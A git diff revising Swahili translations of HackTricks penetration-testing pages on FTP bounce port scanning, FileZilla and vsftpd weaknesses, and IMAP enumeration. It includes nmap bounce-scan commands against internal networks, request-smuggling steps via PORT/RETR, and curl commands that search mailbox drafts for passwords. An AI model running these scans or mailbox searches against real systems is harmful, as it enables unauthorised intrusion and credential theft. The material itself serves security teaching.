2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili ulihitaji kuweka kichwa cha picha mwanzoni)
|
||||||
3. **Tumia `PORT` kuunganisha kwenye seva na huduma isiyojulikana**
|
3. **Tumia `PORT` kuunganisha kwenye seva na huduma isiyojulikana**
|
||||||
4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwa seva.**
|
4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwenye seva.**
|
||||||
|
|
||||||
Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket isiyoweza kuandikwa**_ **kwa sababu uhusiano hautoshelezi kutuma data na `RETR`**. Mapendekezo ya kujaribu kuepuka hilo ni:
|
Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket not writable**_ **kwa sababu uhusiano hautoshi kutuma data na `RETR`**. Mapendekezo ya kujaribu kuepuka hilo ni:
|
||||||
|
|
||||||
* Ikiwa unatuma ombi la HTTP, **weka ombi moja baada ya nyingine** hadi **\~0.5MB** angalau. Kama hivi:
|
* Ikiwa unatuma ombi la HTTP, **weka ombi moja baada ya nyingine** hadi **\~0.5MB** angalau. Kama hivi:
|
||||||
|
|
||||||
|
@ -178,42 +186,52 @@ Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket isiyoweza kuandikwa**
|
||||||
posts.txt
|
posts.txt
|
||||||
{% endfile %}
|
{% endfile %}
|
||||||
|
|
||||||
* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kuchukua faili)
|
* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kupata faili)
|
||||||
* Tu **jaza ombi na herufi tupu au nyingine nyingi** (zilizogawanywa kwenye mistari au la)
|
* Tu **jaza ombi na herufi za null nyingi au nyingine** (zilizogawanywa kwenye mistari au la)
|
||||||
|
|
||||||
Kwa vyovyote vile, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md)
|
Kwa namna yoyote, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md)
|
||||||
|
|
||||||
## Udhaifu wa Seva ya Filezilla
|
## Udhaifu wa Seva ya Filezilla
|
||||||
|
|
||||||
**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **Seva ya FileZilla** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP.
|
**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo ukitumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP.
|
||||||
|
|
||||||
## Faili za Usanidi
|
## Faili za Mipangilio
|
||||||
```
|
```
|
||||||
ftpusers
|
ftpusers
|
||||||
ftp.conf
|
ftp.conf
|
||||||
proftpd.conf
|
proftpd.conf
|
||||||
vsftpd.conf
|
vsftpd.conf
|
||||||
```
|
```
|
||||||
### Baada ya Kuingia
|
### Baada ya Kuingiliwa
|
||||||
|
|
||||||
Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hapa, unaweza kupata mipangilio hatari:
|
Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hapa, unaweza kupata mipangilio hatari:
|
||||||
|
|
||||||
* `anonymous_enable=YES`
|
- `anonymous_enable=YES`
|
||||||
* `anon_upload_enable=YES`
|
- `anon_upload_enable=YES`
|
||||||
* `anon_mkdir_write_enable=YES`
|
- `anon_mkdir_write_enable=YES`
|
||||||
* `anon_root=/home/username/ftp` - Daktari kwa wageni.
|
- `anon_root=/home/username/ftp` - Daktari kwa wageni.
|
||||||
* `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa siri
|
- `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa njia isiyojulikana
|
||||||
* `chown_username=username` - Mtumiaji ambaye amepewa umiliki wa faili zilizopakiwa kwa siri
|
- `chown_username=username` - Mtumiaji ambaye anapewa umiliki wa faili zilizopakiwa kwa njia isiyojulikana
|
||||||
* `local_enable=YES` - Wezesha watumiaji wa ndani kuingia
|
- `local_enable=YES` - Wezesha watumiaji wa ndani kuingia
|
||||||
* `no_anon_password=YES` - Usiulize nywila kwa wageni
|
- `no_anon_password=YES` - Usiulize nywila kwa wageni
|
||||||
* `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE
|
- `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
* `ftp`
|
- `ftp`
|
||||||
* `port:21`
|
- `port:21`
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Amri za Kiotomatiki za HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 21 #Comma separated if there is more than one.
|
Port_Number: 21 #Comma separated if there is more than one.
|
||||||
|
@ -269,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -1,39 +1,46 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
# FTP Bounce - Uchunguzi
|
# FTP Bounce - Uchunguzi
|
||||||
|
|
||||||
## Kwa Mikono
|
## Kwa Mkono
|
||||||
|
|
||||||
1. Unganisha kwenye FTP yenye udhaifu
|
1. Unganisha kwenye FTP inayoweza kushambuliwa
|
||||||
2. Tumia **`PORT`**au **`EPRT`**(lakini chagua moja tu) ili kuwezesha uhusiano na _\<IP:Port>_ unayotaka kuchunguza:
|
2. Tumia **`PORT`** au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha uhusiano na _\<IP:Port>_ unayotaka kuchunguza:
|
||||||
|
|
||||||
`PORT 172,32,80,80,0,8080`\
|
`PORT 172,32,80,80,0,8080`\
|
||||||
`EPRT |2|172.32.80.80|8080|`
|
`EPRT |2|172.32.80.80|8080|`
|
||||||
3. Tumia **`LIST`**(hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 Hali ya faili sawa` (Hii inamaanisha bandari iko wazi) au `425 Hakuna uhusiano ulioanzishwa` (Hii inamaanisha bandari imefungwa)
|
3. Tumia **`LIST`** (hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii inamaanisha bandari iko wazi) au `425 No connection established` (Hii inamaanisha bandari imefungwa)
|
||||||
1. Badala ya `LIST` unaweza pia kutumia **`RETR /faili/katika/ftp`** na tafuta majibu kama `Fungua/Funga`.
|
1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Fungua/Funga`.
|
||||||
|
|
||||||
Mfano wa Kutumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa):
|
Mfano wa Kutumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa):
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (225).png>)
|
![](<../../.gitbook/assets/image (225).png>)
|
||||||
|
|
||||||
Mfano sawa ukitumia **`EPRT`**(uthibitishaji haupo kwenye picha):
|
Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa katika picha):
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (226).png>)
|
![](<../../.gitbook/assets/image (226).png>)
|
||||||
|
|
||||||
Bandari wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti)
|
Bandari iliyofunguliwa kwa kutumia `EPRT` badala ya `LIST` (mazingira tofauti)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (228).png>)
|
![](<../../.gitbook/assets/image (228).png>)
|
||||||
|
|
||||||
|
@ -43,16 +50,23 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
||||||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||||
```
|
```
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,20 +7,28 @@
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Itifaki ya Kufikia Barua pepe kwa Mtandao
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
**Itifaki ya Kufikia Barua pepe kwa Mtandao (IMAP)** imeundwa kwa lengo la kuruhusu watumiaji **kufikia ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Intaneti. Kimsingi, barua pepe zinabaki kwenye **server** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa cha mtu binafsi. Hii inamaanisha kwamba wakati barua pepe inapofikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye server**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka kwa **vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unaopotea bila kujali kifaa kinachotumiwa.
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Itifaki ya Kufikia Ujumbe wa Mtandao
|
||||||
|
|
||||||
|
**Itifaki ya Kufikia Ujumbe wa Mtandao (IMAP)** imeundwa kwa lengo la kuruhusu watumiaji **kufikia ujumbe wao wa barua pepe kutoka mahali popote**, hasa kupitia muunganisho wa Mtandao. Kimsingi, barua pepe zinabaki kwenye **server** badala ya kupakuliwa na kuhifadhiwa kwenye kifaa cha mtu binafsi. Hii inamaanisha kwamba wakati barua pepe inapofikiwa au kusomwa, inafanywa **moja kwa moja kutoka kwenye server**. Uwezo huu unaruhusu urahisi wa kuangalia barua pepe kutoka kwa **vifaa vingi**, kuhakikisha kwamba hakuna ujumbe unaopotea bila kujali kifaa kinachotumiwa.
|
||||||
|
|
||||||
Kwa chaguo-msingi, itifaki ya IMAP hufanya kazi kwenye bandari mbili:
|
Kwa chaguo-msingi, itifaki ya IMAP hufanya kazi kwenye bandari mbili:
|
||||||
|
|
||||||
* **Bandari 143** - hii ni bandari isiyo na usimbaji wa IMAP ya chaguo-msingi
|
* **Bandari 143** - hii ni bandari isiyojumuishwa ya IMAP ya chaguo-msingi
|
||||||
* **Bandari 993** - hii ndio bandari unayohitaji kutumia ikiwa unataka kuunganisha kwa kutumia IMAP kwa usalama
|
* **Bandari 993** - hii ndio bandari unayohitaji kutumia ikiwa unataka kuunganisha kwa kutumia IMAP kwa usalama
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
|
@ -44,7 +52,7 @@ root@kali: telnet example.com 143
|
||||||
```
|
```
|
||||||
Au **automatize** hii na **nmap** programu-jalizi `imap-ntlm-info.nse`
|
Au **automatize** hii na **nmap** programu-jalizi `imap-ntlm-info.nse`
|
||||||
|
|
||||||
### [IMAP Kuvunja Nguvu](../generic-methodologies-and-resources/brute-force.md#imap)
|
### [IMAP Kuvunja Nenosiri](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||||
|
|
||||||
## Muundo
|
## Muundo
|
||||||
|
|
||||||
|
@ -103,23 +111,23 @@ apt install evolution
|
||||||
|
|
||||||
### CURL
|
### CURL
|
||||||
|
|
||||||
Uvumbuzi wa msingi unawezekana na [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni vyema kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi.
|
Urambazaji wa msingi unawezekana na [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), lakini nyaraka zina maelezo machache hivyo ni vyema kuangalia [chanzo](https://github.com/curl/curl/blob/master/lib/imap.c) kwa maelezo sahihi.
|
||||||
|
|
||||||
1. Orodha ya sanduku la barua (amri ya imap `LIST "" "*")
|
1. Orodha ya sanduku la barua (amri ya imap `LIST "" "*")
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||||
```
|
```
|
||||||
2. Kupanga ujumbe katika sanduku la barua (amri ya imap `SELECT INBOX` kisha `SEARCH ALL`)
|
2. Kupanga ujumbe kwenye sanduku la barua (amri ya imap `SELECT INBOX` na kisha `SEARCH ALL`)
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||||
```
|
```
|
||||||
Matokeo ya utafutaji huu ni orodha ya viashiria vya ujumbe.
|
Matokeo ya utafutaji huu ni orodha ya viashiria vya ujumbe.
|
||||||
|
|
||||||
Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. k.m. kutafuta rasimu zenye nenosiri kwenye mwili wa barua:
|
Pia niwezekano wa kutoa vigezo vya utafutaji vya kina zaidi. mfano kutafuta rasimu zenye nenosiri kwenye mwili wa barua:
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||||
```
|
```
|
||||||
Aina nzuri ya maneno ya kutafuta inapatikana [hapa](https://www.atmail.com/blog/imap-commands/).
|
Aina nzuri ya maelezo ya maneno ya kutafuta inapatikana [hapa](https://www.atmail.com/blog/imap-commands/).
|
||||||
|
|
||||||
3. Kupakua ujumbe (amri ya imap `SELECT Drafts` kisha `FETCH 1 BODY[]`)
|
3. Kupakua ujumbe (amri ya imap `SELECT Drafts` kisha `FETCH 1 BODY[]`)
|
||||||
```bash
|
```bash
|
||||||
|
@ -127,7 +135,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||||
```
|
```
|
||||||
Mail index itakuwa index ile ile itakayorudishwa kutoka kwa operesheni ya utafutaji.
|
Mail index itakuwa index ile ile itakayorudishwa kutoka kwa operesheni ya utafutaji.
|
||||||
|
|
||||||
Pia niwezekano kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni chaguo duni kwani amri ya utafutaji inahitaji kuandaliwa kwa mkono. K.m.
|
Pia niwezekano kutumia `UID` (kitambulisho cha kipekee) kufikia ujumbe, hata hivyo ni chaguo lisilo la urahisi kwa sababu amri ya utafutaji inahitaji kuandaliwa kwa mkono. K.m.
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||||
|
@ -148,6 +156,12 @@ done
|
||||||
* `port:143 UWEZO`
|
* `port:143 UWEZO`
|
||||||
* `port:993 UWEZO`
|
* `port:993 UWEZO`
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
## Amri za Kiotomatiki za HackTricks
|
## Amri za Kiotomatiki za HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||||
|
@ -180,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
